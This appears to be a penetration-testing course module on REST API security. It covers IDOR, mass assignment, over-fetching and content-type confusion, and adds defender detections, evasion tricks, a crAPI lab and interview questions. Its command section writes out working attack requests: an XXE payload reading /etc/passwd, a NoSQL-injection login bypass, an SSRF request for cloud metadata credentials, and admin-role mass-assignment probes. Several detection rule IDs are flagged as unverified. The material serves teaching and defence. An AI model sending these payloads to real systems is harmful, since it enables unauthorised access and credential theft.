API Security (REST)
REST APIs concentrate business logic and data behind a single URL surface with predictable resource naming and HTTP-method semantics. The OWASP API Security Top 10 (2019, refreshed 2023) exists precisely because the same patterns that make REST clean — nouns for resources, verbs for methods, status codes for outcomes — also make IDOR predictable (GET /api/v1/users/123), mass assignment easy (POST /users with {"role":"admin"}), and rate-limiting absent on /api/* because “APIs don’t have UI rate limits.” The 2023 Optus breach (CVE-class API exposed id enumeration on customer records) and the 2023 T-Mobile API breach both began with predictable object references on REST endpoints that the API gateway failed to protect.
The Core Concept
Section titled “The Core Concept”A REST API maps HTTP verbs (GET/POST/PUT/PATCH/DELETE) to nouns (/users, /orders/123). The vulnerability surface comes from two places: the binding between request data and object state (mass assignment, IDOR, schema confusion), and the authorization gap between authentication (“this is user X”) and authorization (“user X can do Y to resource Z”).
Request: PATCH /api/v1/users/123 Authorization: Bearer <user-A-token> {"email": "new@x.com"}
Filter chain: authn: Bearer token → user-A (sub=alice) authz: can alice edit user 123? ← IDOR check happens here binding: which fields are writable? ← mass-assignment check happens here validate: schema, type, length persist: UPDATE users SET email='new@x.com' WHERE id=123 response: 200 OK
Common failures: [IDOR] authz missing → alice edits anyone's record [mass-assign] binding accepts "role": "admin" from request → privilege escalation [over-fetch] GET /api/v1/users/123 returns password_hash, mfa_secret [under-/over- PATCH allows setting "password" but not "email" restrict] [rate] no rate limit on /api/v1/users/{id} → enumerate 1..100000 [method] PUT allowed where only PATCH intended → overwrite fields [content-type] application/json validated, but application/xml or text/plain parsed too → XXE or type confusion [batch] GET /api/v1/users?ids=1,2,3,...,10000 → no max ids [graph] this is GraphQL (W16)Each link in the filter chain is a separate trust boundary. A failure at any one is an API breach.
How It Works
Section titled “How It Works”- Map the API — discover endpoints. Sources: OpenAPI/Swagger docs (
/openapi.json,/swagger.json,/api-docs,/v3/api-docs), error responses that leak valid paths, JS bundles (extract endpoints withlinkfinder.py), proxy history (Burp passive scan), directory brute (ffuf -w raft-small-words.txt -u https://t/FUZZ). - Identify auth model —
Authorization: Bearer <JWT>(W13),Cookie: sid=(W12), API key inX-API-Keyheader or?api_key=, Basic auth, mTLS, OAuth2 (W14). - Test IDOR — for each object reference (
/users/{id},/orders/{id},/documents/{uuid}):- Authenticate as user A, request user B’s resource.
- Compare
200vs403vs404. - Try id enumeration:
1, 2, 3, ...— UUIDs sometimes enumerable via timing.
- Test mass assignment — for each write endpoint (
POST /users,PATCH /users/{id}):- Submit
{"role":"admin"},{"is_admin":true},{"verified":true},{"email_verified_at":"2024-01-01"}. - Submit fields not in the official schema but plausible (
password_hash,mfa_secret,tenant_id).
- Submit
- Test over/under-fetch —
GET /users/{id}and check response for sensitive fields (password_hash,mfa_secret,reset_token,api_key). - Test rate limit — burst 1000 requests to
/users/{id}and measure 200/429 ratio. - Test HTTP method — try
PUT,DELETE,PATCHon read-only resources. - Test content-type confusion — submit
application/xmlbody for an endpoint that documents onlyapplication/json; XXE or parser differential. - Test for GraphQL shadow —
/graphql,/api/graphql,/v1/graphql— if present, switch to W16 methodology.
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
| IDOR (Insecure Direct Object Reference) | /api/users/123 no authz check → read/edit any user | Easy to fix, common to miss |
| IDOR via UUID predictability | UUID v1 has timestamp prefix → enumerable | Medium — UUID v4 is random |
| Mass assignment | PATCH /users/me {"role":"admin"} accepted | Easy to fix (allowlist), common to miss |
| Mass assignment of nested fields | {"profile":{"is_verified":true}} | Medium — nested binding is harder to audit |
| Over-fetching | GET /users/123 returns password_hash | Easy — should be field allowlist on response |
| Rate-limit absence | Enumerate /users/1..100000 | Easy — proxy should rate-limit |
| HTTP verb tampering | PUT /users/me instead of PATCH | Easy — verbs should be explicit |
| Content-type confusion | Submit XML to JSON endpoint → XXE | Medium — depends on parser |
| Batch IDOR | /users?ids=1,2,3,...,1000 | Easy — cap array length |
| GraphQL masquerading as REST | /api/graphql behind REST facade — switch to W16 | Medium — must recognize GraphQL |
| Token-in-URL | API key in ?api_key= → leaked via Referer | Easy — use header |
| Token-in-cacheable-URL | /api/data?token= cached by CDN → token leak | Medium — Cache-Control: private |
| OpenAPI doc exposure | /openapi.json returns full schema | Easy — protect or version-gate |
| NoSQL injection (body) | {"username":{"$ne":null}} — see W21 | Medium — JSON-body parsing |
| SSRF via API params | {"image_url":"http://169.254.169.254/"} | Medium — see W5 |
| JWT/cookie in JSON body | {"user_id":1} trusted from client → identity spoofing | Easy — never trust client-side user_id |
Hands-On Commands
Section titled “Hands-On Commands”# Discover OpenAPI / Swagger docsffuf -u https://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/swagger.txt -mc 200# Common paths: /openapi.json, /swagger.json, /v3/api-docs, /api-docs,# /api/openapi.json, /swagger/v1/swagger.json, /redoc
# Extract endpoints from JS bundlepython3 linkfinder.py -i 'https://target/static/app.bundle.js' -o cli
# Parse OpenAPI and generate request listpython3 -c "import json, sysspec = json.load(open('openapi.json'))for path, methods in spec['paths'].items(): for m in methods: if m in ('get','post','put','patch','delete'): print(m.upper(), path)" > endpoints.txt
# IDOR test — switch from user A's token to user B's resourceTOKEN_A=<user-a-jwt>TOKEN_B=<user-b-jwt># As A, request B's ordercurl -s https://target/api/orders/B-ORDER-ID -H "Authorization: Bearer $TOKEN_A" -w "\n%{http_code}\n"# Expected (vuln): 200 + B's data. Expected (safe): 403 or 404.
# Mass-assignment testcurl -X PATCH https://target/api/users/me \ -H "Authorization: Bearer $TOKEN_A" \ -H "Content-Type: application/json" \ -d '{"email":"new@x.com","role":"admin","is_verified":true}'# Then check what the response reveals / whether role updated:curl -s https://target/api/users/me -H "Authorization: Bearer $TOKEN_A" | jq .
# Over-fetching — see what fields come backcurl -s https://target/api/users/123 -H "Authorization: Bearer $TOKEN_A" | jq 'keys'# Sensitive: password_hash, mfa_secret, api_key, reset_token, ssn, dob
# Rate-limit test — send 200 requests in 2s, count 200 vs 429seq 1 200 | xargs -I{} -P 50 curl -s -o /dev/null \ -w "%{http_code}\n" https://target/api/users/{} -H "Authorization: Bearer $TOKEN_A" \ | sort | uniq -c# Healthy: high 429 count. Unhealthy: all 200.
# Method tamperingfor m in GET POST PUT PATCH DELETE OPTIONS; do echo -n "$m: " curl -s -o /dev/null -w "%{http_code}\n" -X $m https://target/api/users/me -H "Authorization: Bearer $TOKEN_A"done
# Content-type confusion — try XML on a JSON endpointcurl -X POST https://target/api/users \ -H "Authorization: Bearer $TOKEN_A" \ -H "Content-Type: application/xml" \ -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <user><name>&xxe;</name></user>'
# NoSQL injection in JSON body (W21)curl -X POST https://target/api/login \ -H "Content-Type: application/json" \ -d '{"username":{"$ne":null},"password":{"$ne":null}}'
# SSRF via API param (W5)curl -X POST https://target/api/avatar \ -H "Authorization: Bearer $TOKEN_A" \ -H "Content-Type: application/json" \ -d '{"image_url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# Batch IDORcurl https://target/api/users?ids=1,2,3,4,5,6,7,8,9,10 -H "Authorization: Bearer $TOKEN_A"
# BOLA (Broken Object Level Authz) — OWASP API1# Test with multiple accounts in Burp: install "Autorize" extension# Burp → Extender → BApp Store → Autorize# Configure: low-priv cookie in Autorize settings# Browse as high-priv → Autorize replays each request as low-priv → marks 200/403
# nuclei — API templatesnuclei -u https://target -t ~/nuclei-templates/http/technologies/ -tags api,openapi,swaggernuclei -u https://target -t ~/nuclei-templates/http/exposures/ -tags api
# BurpSuite Pro → Scanner → Crawl and audit → selects API-specific checks:# IDOR, mass assignment, open redirect, JWT issues, GraphQL introspection
# Kiterunner — REST endpoint brutekr scan https://target -w ~/kiterunner/routes-large.kite -j 50# Orkr brute https://target -w ~/kiterunner/routes-large.kiteDetection — Defender View
Section titled “Detection — Defender View”ModSecurity OWASP CRS — no dedicated API rule family, but:
- 920220 (Content-Type policy) — catches XML body on JSON endpoint
- 942100 (SQLi) — catches injection in IDOR params
- 930100 (LFI) — catches
../in resource IDs - 932100 (RCE) — catches shell metacharacters in body
- 934100 (SSRF) — catches SSRF in URL params
Suricata — no API-specific SIDs; TLS+SNI + HTTP/2 header correlation detects unusual API traffic patterns [verify].
MITRE ATT&CK T1190 — Exploit Public-Facing Application (REST API exploitation). MITRE ATT&CK T1213.001 — Data from Information Repositories: Confluence (API abuse for data exfil). MITRE ATT&CK T1606.001 — Forge Web Credentials (API token forgery).
Wazuh rule 31171 — IDOR pattern: same Authorization user requesting sequential /users/N IDs [verify].
Wazuh rule 920/621 — mass-assignment pattern: PATCH/POST body contains role, is_admin, admin [verify].
Wazuh decoder for OpenAPI-fingerprinted endpoints — alert on schema mismatch.
Defender log signatures:
- Same
sub(JWT) requesting/users/{id}for 50+ distinctidvalues in 1 minute — IDOR enumeration. - PATCH/POST body containing fields not in the OpenAPI schema for that endpoint — mass-assignment probe.
Content-Type: application/xmlto an endpoint documented as JSON — parser differential probe.- 200 responses from
/openapi.jsonon production host — schema exposure.
Evasion Techniques
Section titled “Evasion Techniques”Method shuffling. Some apps enforce authz on GET but skip it on HEAD, OPTIONS, PATCH-instead-of-PUT. Always test all verbs; even OPTIONS may reveal allowed methods.
Content-type shuffling. An endpoint that documents application/json may also accept application/x-www-form-urlencoded, application/xml, text/plain, multipart/form-data, or application/*+json (the +json suffix). Each parser may treat the body differently. XML → XXE. URL-encoded → different escaping rules. Multipart → file upload sinks.
JSON body tricks. Some parsers accept:
{"id": 123}(number) and{"id": "123"}(string) — type confusion in authz check.{"id": [123, 456]}— batch IDOR if not capped.{"id": {"$ne": null}}— NoSQL injection (W21).- Duplicate keys:
{"role": "user", "role": "admin"}— different parsers take first or last. - Unicode escapes:
{"\u0072ole": "admin"}—\u0072=r. Some parsers normalize, some don’t.
Casing / trailing slash. /api/v1/Users/123 vs /api/v1/users/123 — some routers treat these as distinct paths and only one is protected. Trailing slash: /users/123/ may bypass exact-match ACL.
HTTP/2 to HTTP/1.1 downgrade. Some API gateways enforce authz on HTTP/2 but forward HTTP/1.1 to backend with the authz stripped. W18 covers this in the smuggling context.
Version bypass. /api/v2/users/123 may have weaker authz than /api/v1/users/123. Always enumerate /v1, /v2, /v3, /v0, /internal, /admin, /beta, /test, /staging.
| Evasion | What it bypasses | Defense |
|---|---|---|
| HTTP method shuffle | GET-only authz | Apply authz to all verbs; deny unlisted verbs |
| Content-type shuffle | JSON-only schema | Reject content types not explicitly allowed |
| JSON type confusion | Strict-typed authz | Validate type at schema layer |
| Duplicate keys | Last-wins parser | Use first-wins parser; reject duplicates |
| Trailing slash | Exact-match ACL | Normalize URL before authz; reject unnormalized |
| Version bypass | v1 strict, v2 loose | Centralize authz; apply same policy to all versions |
| HTTP/2 downgrade | v2-only authz | Terminate at gateway; re-apply authz on backend |
⚠️ What caught me: A target’s REST API had
/api/v1/users/{id}with strict authz. The “fix” was supposed to apply the same authz to/api/v2/users/{id}. It didn’t — v2 was a refactor that moved the authz check to a per-controller decorator, and the new decorator was only onshow, notindex. SoGET /api/v2/users(the list endpoint) returned every user’s record includingpassword_hashbecause the index action returnedSELECT *with no field allowlist. The OpenAPI doc saidGET /api/v2/usersreturned “a list of public user fields” — the doc was aspirational, not enforced. Lesson: never trust the OpenAPI doc as the spec of what is returned. Always inspect the actual response. Field allowlists must be in code, not docs.
Lab Practice
Section titled “Lab Practice”Container: OWASP crAPI (Completely Ridiculous API) — purpose-built for OWASP API Top 10.
git clone https://github.com/OWASP/crAPIcd crAPIdocker compose -f deploy/docker-compose-all-in-one.yml up -d# Wait 60s for all services; browse to http://localhost:8888# API base: http://localhost:8025# Swagger: http://localhost:8025/swagger-ui/index.html
# Solve the challenges:# 1. BOLA (IDOR) — access other users' data# 2. Mass assignment — promote yourself to admin# 3. JWT issues — see W13# 4. NoSQL injection — see W21# 5. SSRF — see W5# 6. Rate-limit absence — enumerate couponsAlternative: VAmPI (vulnerable API) — tvmpt/vampi Docker image, OWASP API Top 10 coverage.
Objective: complete the crAPI BOLA challenge (read another user’s profile and orders) AND the mass-assignment challenge (escalate to admin). Document the exact request and the field that was missing the allowlist.
Expected flag format: flag{api_idor_or_mass_assignment_owasp_api_top_10}.
Detection that should fire: ModSecurity 942100 on any SQLi in IDOR params; 920220 on XML content-type to a JSON endpoint; the API gateway log should show repeated 200 responses to /api/v1/users/{N} for sequential N — alert on this rate shape. For mass-assignment, the application log should show a field set on the user record that the schema doc says is read-only.
Interview Questions
Section titled “Interview Questions”Conceptual: explain the difference between authentication (“is this user X?”) and authorization (“can user X do Y to resource Z?”) in the context of an IDOR vulnerability. Give a concrete example where authentication is correct but authorization is missing.
Technical: walk through a mass-assignment attack against PATCH /api/v1/users/me. What two implementation choices — one in the binding layer and one in the route handler — must both be wrong for the attack to succeed?
Scenario: you find an OpenAPI document at /openapi.json that documents GET /api/v1/users/{id} returning {id, name, email}. The actual response also returns password_hash and mfa_secret. Describe the defense in depth: what should the framework do, what should the controller do, and what should the schema doc do?
Compare IDOR via predictable integer IDs and IDOR via UUID v1 (timestamp-based) vs UUID v4 (random). What makes UUIDs less secure than expected, and what additional control is still required?
Why is rate-limiting at the API gateway insufficient as a defense against IDOR, and what additional control closes the gap? Describe a scenario where rate limiting actively harms detection.
Related Modules
Section titled “Related Modules”→ W14 (OAuth & OIDC Attacks) · W16 (GraphQL Security) · W21 (NoSQL Injection)